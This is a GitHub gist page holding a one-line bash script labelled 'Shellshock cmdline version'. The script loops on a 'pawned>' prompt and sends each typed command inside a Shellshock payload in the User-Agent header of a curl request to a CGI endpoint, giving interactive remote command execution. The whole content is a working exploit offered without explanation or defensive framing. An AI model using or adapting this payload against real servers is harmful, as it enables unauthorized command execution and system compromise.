Skip to content

Instantly share code, notes, and snippets.

@mfadzilr

mfadzilr/test_shellshock

Last active August 29, 2015 14:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mfadzilr/70892f43597e7863a8dc to your computer and use it in GitHub Desktop.
Save mfadzilr/70892f43597e7863a8dc to your computer and use it in GitHub Desktop.
Download ZIP
Shellshock cmdline version
Raw
test_shellshock
while true; do read -p 'pawned>' cmd; cmd="$cmd"; curl -i -X OPTIONS -H "User-Agent: () { :;};echo;/bin/$cmd" "http://localhost/cgi-bin/hello"; done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment